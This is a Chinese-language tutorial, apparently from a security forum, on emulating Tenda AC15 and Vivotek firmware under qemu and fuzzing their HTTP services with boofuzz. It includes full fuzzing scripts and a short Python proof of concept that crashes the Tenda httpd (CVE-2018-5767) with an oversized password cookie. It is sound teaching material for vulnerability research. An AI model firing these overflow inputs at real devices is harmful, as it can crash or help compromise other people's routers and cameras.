前言
有个未曾谋面的看雪的坛友问我一门关于IOT挖洞的课怎么样,因为课表里写的太笼统,所以我也就没给明确答复,不过我说我愿意免费教教我会的东西,另外之前关于我DIR-645漏洞文章结尾也说了要讲讲怎么fuzz出那个漏洞,于是便有了这篇文章
正文
环境
Ubuntu 20.04
Python、pip、qemu之类的直接用apt-get下载安装就好
IDA pro之前提供过下载链接
binwalk里有需要用到sasquatch程序,需要手动下载一下,命令如下
1 2 3 4 | sudo git clone https://github.com/devttys0/sasquatchcd sasquatchsudo apt-get install build-essential liblzma-dev liblzo2-dev zlib1g-dev./build.sh |
tenda AC15 CVE-2018-5767
环境问题
使用binwalk解包以后可以在bin文件夹下看到httpd程序,此时如果直接运行的话会卡在欢迎banner信息处

需要patch一些代码,修改判断逻辑
下图中红框内就是已经patch好的代码,点击Edit > Patch program > Apply pathes to input file > OK 即可保存

修改完成后再次运行依然会报错

这个错误主要是IP地址不正确,需要查看一下httpd服务具体是怎么获取IP的,需要从check_network函数开始查,这个函数是引用了第三方的lib库(至少我在Linux源码里没找到这个函数)
1 | find ./lib/ -name "*" | xargs grep 'check_network' |

结果会找到libcommon.so文件,用IDA打开后可以看到依然是调用了别的so库代码



需要继续搜get_eth_name函数位置
1 | find ./lib/ -name "*" | xargs grep 'get_eth_name' |

有四个匹配,事实上是libChipAPI.so文件

从代码里可以看到程序在尝试读网卡信息,因为没有对应的网卡,所以程序IP地址会出错,所以这里需要手动创建一个br0网卡,并给一个IP地址(在创建之前建议先保存一个快照以防万一)
1 2 | sudo tunctl -t br0 -u #用户名# sudo ifconfig br0 192.168.10.1/24 |
修改好后httpd程序就能正确运行了

fuzz部分
此处需要抓包查看协议结构,但是因为只是普通的HTTP协议,我就直接给出boofuzz代码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 | from boofuzz import * IP = "10.10.10.1" #IP地址填自己的IP就好PORT = 80def check_response(target, fuzz_data_logger, session, *args, **kwargs): fuzz_data_logger.log_info("Checking test case response...") try: response = target.recv(512) except: fuzz_data_logger.log_fail("Unable to connect to target. Closing...") target.close() return #if empty response if not response: fuzz_data_logger.log_fail("Empty response, target may be hung. Closing...") target.close() return #remove everything after null terminator, and convert to string #response = response[:response.index(0)].decode('utf-8') fuzz_data_logger.log_info("response check...\n" + response.decode()) target.close() return def main(): ''' options = { "start_commands": [ "sudo chroot /home/lys/Documents/IoT/firmware/_AC15_V15.03.1.16.bin.extracted/squashfs-root ./httpd" ], "stop_commands": ["echo stopping"], "proc_name": ["/usr/bin/qemu-arm-static ./httpd"] } procmon = ProcessMonitor("127.0.0.1", 26002) procmon.set_options(**options) ''' session = Session( target=Target( connection=SocketConnection(IP, PORT, proto="tcp"), # monitors=[procmon] ), post_test_case_callbacks=[check_response], ) s_initialize(name="Request") with s_block("Request-Line"): # Line 1 s_group("Method", ["GET"]) s_delim(" ", fuzzable=False, name="space-1-1") s_string("/goform/123", fuzzable=False) # fuzzable 1 s_delim(" ", fuzzable=False, name="space-1-2") s_static("HTTP/1.1", name="HTTP_VERSION") s_static("\r\n", name="Request-Line-CRLF-1") # Line 2 s_static("Host") s_delim(": ", fuzzable=False, name="space-2-1") s_string("10.10.10.1", fuzzable=False, name="IP address") s_static("\r\n", name="Request-Line-CRLF-2") # Line 3 s_static("Connection") s_delim(": ", fuzzable=False, name="space-3-1") s_string("keep-alive", fuzzable=False, name="Connection state") s_static("\r\n", name="Request-Line-CRLF-3") # Line 4 s_static("Cookie") s_delim(": ", fuzzable=False, name="space-4-1") s_string("bLanguage", fuzzable=False, name="key-bLanguage") s_delim("=", fuzzable=False) s_string("en", fuzzable=False, name="value-bLanguage") s_delim("; ", fuzzable=False) s_string("password", fuzzable=False, name="key-password") s_delim("=", fuzzable=False) s_string("ce24124987jfjekfjlasfdjmeiruw398r", fuzzable=True) # fuzzable 2 s_static("\r\n", name="Request-Line-CRLF-4") # over s_static("\r\n") s_static("\r\n") session.connect(s_get("Request")) session.fuzz()if __name__ == "__main__": main() |
在开始之前记得用pip安装一下boofuzz,因为已经知道漏洞点了,所以很快就能跑出结果了

可以看到在password给出了一个非常长的值后程序崩溃了,验证其实也很简单,直接用Python脚本访问之前给br0的地址,端口是80,cookie中给一个超长的值就能复现崩溃了
1 2 3 4 5 6 7 | import requestsip = "10.10.10.1" #此处修改为自己的IPurl = "http://%s/goform/execCommand"%ipcookie = {"Cookie":"password=" + "A"*1000}ret = requests.get(url=url,cookies=cookie)#print ret.text |
最后在bLanguage这个字段也有个溢出,大家可以尝试修改上面的fuzz脚本复现一下
Vivotek漏洞栈溢出
这是一个2017年爆出的贼老的栈溢出漏洞,不过用来学习boofuzz的使用还是不错的
环境问题
首先使用binwalk解包固件后会有不少文件,文件系统在这个目录下
1 | _CC8160-VVTK-0100d.flash.pkg.extracted/_31.extracted/_rootfs.img.extracted/squashfs-root |
http服务用的是boa
这里有两个点需要修复
首先将宿主机中/etc/hosts文件夹中的内容全部复制到固件文件系统的/etc/hosts文件中去

然后将 _31.extracted/defconf/_CC8160.tar.bz2.extracted/_0.extracted/etc/ 目录直接拷贝到 squashfs-root/mnt/flash/ 目录中去,这一步主要是解决boa的config文件缺失问题

接下来直接用qemu命令运行httpd服务就行了

fuzz部分
fuzz这个洞的脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | from boofuzz import * IP = "127.0.0.1"PORT = 80def check_response(target, fuzz_data_logger, session, *args, **kwargs): fuzz_data_logger.log_info("Checking test case response...") try: response = target.recv(512) except: fuzz_data_logger.log_fail("Unable to connect to target. Closing...") target.close() return #if empty response if not response: fuzz_data_logger.log_fail("Empty response, target may be hung. Closing...") target.close() return #remove everything after null terminator, and convert to string #response = response[:response.index(0)].decode('utf-8') fuzz_data_logger.log_info("response check...\n" + response.decode()) target.close() return def main(): ''' options = { "start_commands": [ "sudo chroot /home/lys/Documents/IoT/firmware/_AC15_V15.03.1.16.bin.extracted/squashfs-root ./httpd" ], "stop_commands": ["echo stopping"], "proc_name": ["/usr/bin/qemu-arm-static ./httpd"] } procmon = ProcessMonitor("127.0.0.1", 26002) procmon.set_options(**options) ''' session = Session( target=Target( connection=SocketConnection(IP, PORT, proto="tcp"), # monitors=[procmon] ), post_test_case_callbacks=[check_response], ) s_initialize(name="Request") with s_block("Request-Line"): # Line 1 s_group("Method", ["POST"]) s_delim(" ", fuzzable=False, name="space-1-1") s_string("/cgi-bin/admin/upgrade.cgi", fuzzable=False) s_delim(" ", fuzzable=False, name="space-1-2") s_static("HTTP/1.1",name="HTTP_VERSION") s_static("\r\n", name="Request-Line-CRLF-1") # Line 2 s_static("Content-Length") s_delim(": ", fuzzable=False, name="space-2-1") s_string("data", fuzzable=True) s_static("\r\n") session.connect(s_get("Request")) session.fuzz()if __name__ == "__main__": main() |

几乎是一瞬间,boa服务就崩溃了,从输出信息来看,是因为 Content-Length 过长导致的,这也确实是这个洞的成因
结尾
boofuzz是个挺不错的对协议的fuzz工具,比AFL好在不需要参与编译过程,也就是说不需要收集代码覆盖率信息;缺点也很明显,需要对协议格式深入分析,且因为没有代码覆盖率信息,所以对未知代码的触发基本靠运气
这里使用这两个IOT固件且只fuzz了HTTP服务是因为这两个固件的环境问题相对好解决且HTTP服务fuzz起来相对简单,所以解决环境问题最好的方式还是直接买硬件
参考链接
https://xz.aliyun.com/t/5054?time__1311=n4%2BxnD07iti%3Dj2DBqooGkYLwq6DBDYTAD